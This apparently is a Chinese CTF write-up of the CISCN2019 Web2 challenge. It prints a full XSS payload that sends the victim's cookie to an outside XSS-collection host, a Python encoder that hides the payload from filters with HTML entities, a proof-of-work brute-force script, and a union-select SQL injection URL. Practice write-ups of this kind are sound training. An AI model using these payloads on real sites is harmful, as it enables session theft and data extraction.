[CISCN2019 华东北赛区]Web2

这次ciscn差点爆0了。。。
还是多练练吧。
注册账号登录,看到投稿和反馈两个页面。
除此之外,还有login.php,register.php和admin.php,admin.php访问提示不是管理员
在这里插入图片描述
发表查看
在这里插入图片描述
直接将我们输入的文章内容显示在了页面上,猜测存在xss。
测试
在这里插入图片描述
没有内容也没有弹窗
在这里插入图片描述
看源码
在这里插入图片描述
我们的语句被放入了源码,但似乎被编码了。导致没有执行。
在这里插入图片描述
这个反馈界面应该是模拟管理员点击链接的过程。
思路大概就是通过xss获得管理员的cookie之后访问admin.php
因为对语句过滤,用脚本编码
buuxss平台
xss:

(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=5fZN9o&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();

这里要用window.opener.location刷新网页

xss='''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=5fZN9o&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
output = ""
for c in xss:
    output += "&#" + str(ord(c))
print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

将产生的结果在文章发表界面提交,获得url
http://8d185026-b4a6-4440-86da-322fc04dc474.node3.buuoj.cn/post/1b28ea0e547723ebfb156fd5616f5cee.html
将其改成
http://web.node3.buuoj.cn/post/1b28ea0e547723ebfb156fd5616f5cee.html
之后是要利用一段验证码
在这里插入图片描述

验证码生产脚本(python3)

import hashlib


def function(str1):
    for i in range(999999,9999999):
        md5 = hashlib.md5()
        md5.update(str(i).encode("utf-8")) 
        tomd5 = md5.hexdigest() 
        if tomd5[:6] == str1:
            return str(i)
if __name__ == "__main__":
    print(function("659ad7"))

之后在xss平台获得session
在这里插入图片描述
配合cookie成功访问admin.php之后是一段非常简单的sql注入,无过滤的数字型注入。
最后
admin.php?id=-1 union select 1,flagg,3 from flag
在这里插入图片描述
xss还是不太熟练,虽然知道是xss但还是看了wp才做出来的,得多练练

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值